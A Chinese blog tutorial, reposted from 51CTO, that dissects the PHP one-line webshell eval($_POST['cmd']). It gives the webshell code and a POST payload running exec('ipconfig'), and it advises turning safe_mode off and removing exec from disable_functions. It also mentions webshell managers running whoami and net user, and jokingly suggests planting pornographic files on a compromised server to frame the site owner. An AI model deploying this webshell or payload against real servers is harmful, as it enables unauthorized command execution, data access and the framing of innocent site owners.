在很多的渗透过程中,渗透人员会上传一句话木马(简称webshell)到目前web服务目录继而提权获取系统权限,不论asp、php、jsp、aspx都是如此,那么一句话木马到底是如何执行的呢,下面我们就对webshell进行一个简单的分析。
首先我们先看一个原始而又简单的php一句话木马。
<?php @eval($_POST['cmd']); ?>
看到这里不得不赞美前辈的智慧。
对于一个稍微懂一些php的人而言,或者初级的安全爱好者,或者脚本小子而言,看到的第一眼就是密码是cmd,通过post提交数据,但是具体如何执行的,却不得而知,下面我们分析一句话是如何执行的。
这句话什么意思呢?
php的代码要写在<?php ?>里面,服务器才能认出来这是php代码,然后才去解析。
@符号的意思是不报错。
例如:
1
2
3
<code><?php</code>
<code>eval</code><code>($_POST[cmd]);</code>
<code>?></code>
如果没有@,如下图,就会报错
<a href="https://s3.51cto.com/wyfs02/M01/99/07/wKioL1lDPU6wkqlpAAFTGLvgyDI589.png-wh_500x0-wm_3-wmp_4-s_489584269.png" target="_blank"></a>
为什么呢?
因为一个变量没有定义,就被拿去使用了,
服务器就善意的提醒:Notice,你的xxx变量没有定义。
这不就暴露了密码吗?
所以加上@
为什么pw是密码呢?
那就要来理解这句话的意思了
php里面几个超全局变量
$_GET、$_POST就是其中之一
$_POST['a'];
意思就是a这个变量,用post的方法接收。
(传输数据的两种方法,get、post,post是在消息体存放数据,get是在消息头的url路径里存放数据(例如xxx.php?a=2))
eval()
把字符串作为PHP代码执行
例如:eval("echo 'a'");其实就等于直接 echo 'a';
再来看看<?php eval($_POST['pw']); ?>
首先,用post方式接收变量pw,比如接收到了:pw=echo 'a';
这时代码就变成<?php eval("echo 'a';"); ?>
结果:
<a href="https://s2.51cto.com/wyfs02/M02/99/07/wKioL1lDPYHheDqUAACKGr0cbR0209.png-wh_500x0-wm_3-wmp_4-s_287531422.png" target="_blank"></a>
连起来意思就是:
用post方法接收变量pw,把变量pw里面的字符串当做php代码来执行
所以也就能这么玩:
也就是说,你想执行什么代码,就把什么代码放进变量pw里,用post传输给一句话木马
你想查看目标硬盘里有没有小黄片,可以用php函数:opendir()和readdir()等等
想上传点小黄片,诬陷站主,就用php函数:move_uploaded_file,当然相应的html要写好
你想执行cmd命令,则用exec()
当然前提是:
php配置文件php.ini里,关掉安全模式safe_mode = off,
然后在看看 禁用函数列表 disable_functions = proc_open, popen, exec, system, shell_exec ,把exec去掉,确保没有exec。
(有些cms为了方便处理某些功能,会去掉的)
看看效果:
POST代码如下:
4
5
<code>cmd=header(</code><code>"Content-type:text/html;charset=gbk"</code><code>);</code>
<code>exec</code><code>(</code><code>"ipconfig"</code><code>,$out);</code>
<code>echo</code> <code>'<pre>'</code><code>;</code>
<code>print_r($out);</code>
<code>echo</code> <code>'</pre>'</code><code>;</code>
<a href="https://s3.51cto.com/wyfs02/M01/99/07/wKioL1lDPauzQBUkAAEhsqpAJK4196.png-wh_500x0-wm_3-wmp_4-s_2433346175.png" target="_blank"></a>
在这里我们可以看到系统直接执行了系统命令,
SO,大家现在应该理解,为什么说一句话短小精悍了吧!
我们在看一下一句话在菜刀之类的webshell管理工具里面是如何一句话是如何执行的
其实在webshell管理工具里面,已经集成好了所有可以执行的系统命令,我们只需要输入ifconfig、ipconfig、whoami、net user 等系统命令,就可以获得对应的系统信息。
<a href="https://s4.51cto.com/wyfs02/M01/99/07/wKioL1lDPeOjV78oAAEFI0QJX-M137.jpg-wh_500x0-wm_3-wmp_4-s_158398110.jpg" target="_blank"></a>
其实可以很明显看明白,其实执行的命令就和我们前面写的哪样进行输入输出,执行系统命令操作。
所以只要webshell有足够高的权限,可以做任何你想做的事情。
本文转自Tar0 51CTO博客,原文链接:http://blog.51cto.com/tar0cissp/1937364,如需转载请自行联系原作者